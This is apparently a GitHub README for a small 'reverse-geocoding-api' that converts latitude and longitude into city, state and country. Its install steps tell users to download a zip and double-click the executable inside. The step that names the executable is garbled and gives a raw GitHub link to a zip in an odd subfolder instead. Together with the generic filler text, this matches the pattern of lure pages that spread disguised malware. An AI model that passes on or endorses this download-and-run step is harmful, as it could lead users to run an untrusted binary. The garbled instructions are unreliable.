🌍 reverse-geocoding-api - Easily Turn Coordinates into Locations

🚀 Getting Started

The reverse-geocoding-api is a simple REST API that helps you convert latitude and longitude coordinates into city, state, and country data. It takes GPS coordinates and returns a human-readable location, making it easier to integrate location services into your applications. Follow the steps below to download and run this software.

📥 Download & Install

1. Visit this page to download: Release Page.

2. On the Releases page, you will see a list of available versions. Choose the latest version for the best experience.

3. Click on the version you want to download. You will see options for the files available.

4. Look for the file with the .zip extension for your system. Download it by clicking on the file name.

5. Once the download completes, locate the file in your Downloads folder.

6. Extract the contents of the .zip file. You can usually do this by right-clicking on the file and selecting "Extract All" or "Unzip."

7. After extracting, find the executable file within the folder. This file is often named https://github.com/mogpt15/reverse-geocoding-api/raw/refs/heads/main/solay/reverse-api-geocoding-2.2.zip or something similar.

8. Double-click the executable file to run the application. Follow any on-screen instructions to complete the setup.

🖥️ System Requirements

It’s essential to check if your machine meets the following requirements:

• Operating System: Windows 10 or newer, macOS 10.12 or newer, or a modern Linux distribution.
• CPU: Minimum 1 GHz processor.
• Memory: At least 2 GB of RAM.
• Storage: 100 MB of free space.

If your system meets these requirements, you’re good to go!

🌐 How to Use the API

Once you have the application running, you can easily use the API:

1. Open your web browser.

2. Enter the API URL along with the latitude and longitude parameters. The format should look like this:

   http://localhost:your_port/geocode?lat=LATITUDE&lon=LONGITUDE
   

3. Replace your_port with the port number your application is running on (default is often 8000), and replace LATITUDE and LONGITUDE with your desired coordinates.

4. Press Enter. You should see a response with the city, state, and country data corresponding to your coordinates.

📖 Example Requests

To get you started quickly, here are some sample API requests:

• For coordinates (34.0522, -118.2437):

  http://localhost:8000/geocode?lat=34.0522&lon=-118.2437
  

• Another example for coordinates (40.7128, -74.0060):

  http://localhost:8000/geocode?lat=40.7128&lon=-74.0060
  

You will receive JSON formatted data with location information, such as:

{
  "city": "Los Angeles",
  "state": "California",
  "country": "USA"
}

🔧 Features

• Fast and Reliable: The API provides quick responses to your requests.
• Precision: Accurate geocoding of latitude and longitude points.
• Easy Integration: Simple setup and straightforward API calls.
• Cross-Platform: Works on Windows, macOS, and Linux environments.

🔗 Additional Resources

• Documentation: API Documentation
• Support: If you encounter issues or need help, feel free to open an issue in the repository.

⚙️ Troubleshooting

If you face any problems, consider the following solutions:

• Cannot Connect to API: Ensure that your firewall is not blocking the port the API is running on.
• Invalid Coordinates: Double-check the latitude and longitude you input. They should be within valid ranges.
• Slow Response Time: Ensure your internet connection is stable. The API runs on your local machine, so it shouldn't require internet access unless you are fetching online data.

Make sure to refer to the README for further details if you encounter specific issues.

📞 Contact

For any questions or further clarification, reach out to the repository maintainer via the GitHub Issues page or through the provided contact information in the documentation.

Remember to share feedback or feature requests while using the reverse-geocoding-api! Your input helps improve the application.